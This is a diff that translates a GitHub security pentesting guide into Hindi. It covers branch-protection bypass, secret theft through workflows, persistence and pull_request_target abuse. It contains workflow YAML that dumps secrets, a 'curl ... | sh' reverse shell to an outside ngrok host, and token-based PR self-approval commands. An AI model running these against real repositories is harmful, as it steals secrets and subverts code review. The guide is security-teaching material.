+एक उपयोगकर्ता टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### With Oauth Application
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए।
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
### With Github Application
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+एक हमलावर एक **दुष्ट Github एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
## Compromise & Abuse Github Action
@@ -180,69 +176,61 @@ abusing-github-actions/
## Branch Protection Bypass
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Require a number of approvals**: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को स्वीकृत** कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं।
+- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को स्वीकृत नहीं कर सकेगा, लेकिन यदि आप ऐसा कर रहे हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_
+- **Dismiss approvals when new commits are pushed**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुष्ट कोड डाल सकते हैं और इसे संरक्षित शाखा में मर्ज कर सकते हैं।
+- **Require reviews from Code Owners**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं स्वीकृत करें**।
+- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, तो Github शिकायत नहीं करता है लेकिन इसका उपयोग नहीं करता है। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो इसका **कोड मालिकों का संरक्षण लागू नहीं होता है।**
+- **Allow specified actors to bypass pull request requirements**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं।
+- **Include administrators**: यदि यह सेट नहीं है और आप रेपो के प्रशासक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं।
+- **PR Hijacking**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मर्ज कर सकते हैं।
+- **Removing Branch Protections**: यदि आप रेपो के **प्रशासक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं।
+- **Bypassing push protections**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में पुश (कोड मर्ज) करने की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)।
+- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड पुश करने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा है, तो आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करती है**, इस शाखा में पहले कोड पुश से **github action निष्पादित होगा**।
## Bypass Environments Protections
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड पुश कर सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)।
+ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड पुश कर सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और उस पर पुश ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में पुश की अनुमति देती है इसलिए github action ट्रिगर होगा**।
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+ध्यान दें कि **शाखा के निर्माण के बाद** **शाखा सुरक्षा नए शाखा पर लागू होगी** और आप इसे संशोधित नहीं कर पाएंगे, लेकिन उस समय तक आप पहले ही रहस्यों को डंप कर चुके होंगे।
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## स्थिरता
-## Persistence
+- **उपयोगकर्ता टोकन** उत्पन्न करें
+- **रहस्यों** से **गिटहब टोकन** चुराएं
+- कार्यप्रवाह **परिणामों** और **शाखाओं** का **हटाना**
+- सभी संगठन को **अधिक अनुमतियाँ** दें
+- जानकारी को निकालने के लिए **वेबहुक** बनाएं
+- **बाहरी सहयोगियों** को आमंत्रित करें
+- **SIEM** द्वारा उपयोग किए गए **वेबहुक** को **हटाएं**
+- **बैकडोर** के साथ **गिटहब क्रिया** बनाएं/संशोधित करें
+- **गुप्त** मान संशोधन के माध्यम से **कमांड इंजेक्शन** के लिए **कमजोर गिटहब क्रिया** खोजें
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+गिटहब में यह संभव है कि **एक फोर्क से एक रेपो के लिए PR बनाया जाए**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**।
+जैसे [**यह**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+अधिक जानकारी के लिए देखें [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..ecb8e27e0 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,389 +4,371 @@
## Basic Information
-In this page you will find:
+इस पृष्ठ पर आपको मिलेगा:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- एक **सारांश सभी प्रभावों का** जब एक हमलावर Github Action तक पहुँचने में सफल होता है
+- **एक्शन** तक पहुँचने के विभिन्न तरीके:
+- एक्शन बनाने के लिए **अनुमतियाँ** होना
+- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना
+- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना
+- पहले से समझौता किए गए रेपो से **पिवटिंग** करना
+- अंत में, एक अनुभाग **भीतर से एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (उपरोक्त प्रभावों का कारण बनना)
## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+[**Github Actions के बारे में मूल जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय।
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना** ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें।
+- **डिप्लॉयमेंट्स और अन्य** **कलाकृतियों** का समझौता करना।
+- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमले की अनुमति मिलती है।
+- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके।
+- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**।
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+यह "**गुप्त**" (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपो तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके।
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+ध्यान दें कि टोकन **काम पूरा होने के बाद समाप्त हो जाता है**।\
+ये टोकन इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="PR को मंजूरी दें" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="PR बनाएं" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।
-List secrets in Github Action output
-
+Github Action आउटपुट में secrets की सूची
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+गुप्तों के साथ रिवर्स शेल प्राप्त करें
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की **लॉग्स** की जांच करके जांच कर सकें:
-## Allowed Execution
+## अनुमत निष्पादन
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं।
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं।
-### Execution from Repo Creation
+### रिपॉजिटरी निर्माण से निष्पादन
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github actions निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**।
-### Execution from a New Branch
+### नए शाखा से निष्पादन
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+यदि आप **एक रिपॉजिटरी में एक नई शाखा बना सकते हैं जिसमें पहले से एक Github Action** कॉन्फ़िगर किया गया है, तो आप इसे **संशोधित** कर सकते हैं, **सामग्री अपलोड** कर सकते हैं, और फिर **नई शाखा से उस क्रिया को निष्पादित** कर सकते हैं। इस तरह आप **रिपॉजिटरी और संगठन स्तर के रहस्यों को निकाल सकते हैं** (लेकिन आपको यह जानना होगा कि उन्हें क्या कहा जाता है)।
+आप संशोधित क्रिया को **हाथ से** निष्पादित कर सकते हैं, जब **PR बनाया जाता है** या जब **कुछ कोड पुश किया जाता है** (इस पर निर्भर करता है कि आप कितने शोर करना चाहते हैं):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
## Forked Execution
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> विभिन्न ट्रिगर्स हैं जो एक हमलावर को **दूसरे रिपॉजिटरी का Github Action निष्पादित करने** की अनुमति दे सकते हैं। यदि उन ट्रिगर करने योग्य क्रियाओं को खराब तरीके से कॉन्फ़िगर किया गया है, तो एक हमलावर उन्हें समझौता करने में सक्षम हो सकता है।
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+कार्यप्रवाह ट्रिगर **`pull_request`** हर बार कार्यप्रवाह को निष्पादित करेगा जब एक पुल अनुरोध प्राप्त होता है, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से यदि यह **पहली बार** है जब आप **सहयोग कर रहे हैं**, तो कुछ **रखरखावकर्ता** को कार्यप्रवाह के **निष्पादन** को **स्वीकृत** करने की आवश्यकता होगी:
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> चूंकि **डिफ़ॉल्ट सीमा** **पहली बार** योगदानकर्ताओं के लिए है, आप **एक मान्य बग/टाइपो को ठीक करने** में योगदान कर सकते हैं और फिर **अपने नए `pull_request` विशेषाधिकारों का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं**।
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **मैंने इसका परीक्षण किया और यह काम नहीं करता**: ~~एक और विकल्प होगा किसी ऐसे व्यक्ति का नाम लेकर एक खाता बनाना जिसने परियोजना में योगदान दिया और उसका खाता हटा दिया।~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+इसके अलावा, डिफ़ॉल्ट रूप से **लिखने की अनुमति** और **गुप्त पहुंच** को लक्षित रिपॉजिटरी में रोकता है जैसा कि [**दस्तावेज़**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख किया गया है:
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> `GITHUB_TOKEN` को छोड़कर, **गुप्त को रनर को नहीं भेजा जाता** जब कार्यप्रवाह एक **फोर्क की गई** रिपॉजिटरी से ट्रिगर किया जाता है। **`GITHUB_TOKEN` में पुल अनुरोधों में **पढ़ने की केवल अनुमति** होती है **फोर्क की गई रिपॉजिटरी** से।
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+एक हमलावर Github Action की परिभाषा को संशोधित कर सकता है ताकि मनमाने चीजें निष्पादित की जा सकें और मनमाने कार्यों को जोड़ा जा सके। हालाँकि, वह गुप्त चुराने या रिपॉजिटरी को ओवरराइट करने में सक्षम नहीं होगा क्योंकि उल्लेखित सीमाएँ हैं।
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **हाँ, यदि हमलावर PR में उस github action को बदलता है जो ट्रिगर किया जाएगा, तो उसका Github Action उपयोग किया जाएगा और मूल रिपॉजिटरी का नहीं!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+चूंकि हमलावर द्वारा निष्पादित कोड पर भी नियंत्रण होता है, भले ही `GITHUB_TOKEN` पर गुप्त या लिखने की अनुमति न हो, एक हमलावर उदाहरण के लिए **दुष्ट कलाकृतियाँ अपलोड** कर सकता है।
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+कार्यप्रवाह ट्रिगर **`pull_request_target`** को लक्षित रिपॉजिटरी में **लिखने की अनुमति** और **गुप्तों तक पहुंच** होती है (और अनुमति नहीं मांगता)।
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+ध्यान दें कि कार्यप्रवाह ट्रिगर **`pull_request_target`** **बेस संदर्भ में चलता है** और PR द्वारा दिए गए संदर्भ में नहीं (ताकि **अविश्वसनीय कोड निष्पादित न हो**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**दस्तावेज़ देखें**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)।\
+इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में अधिक जानकारी के लिए इस [**गिटहब ब्लॉग पोस्ट**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) की जांच करें।
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+यह लग सकता है कि क्योंकि **निष्पादित कार्यप्रवाह** वह है जो **बेस** में परिभाषित है और **PR** में नहीं है, यह **सुरक्षित** है **`pull_request_target`** का उपयोग करना, लेकिन कुछ **केस हैं जहाँ यह नहीं है**।
-An this one will have **access to secrets**.
+और यह एक **गुप्तों तक पहुंच** होगी।
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
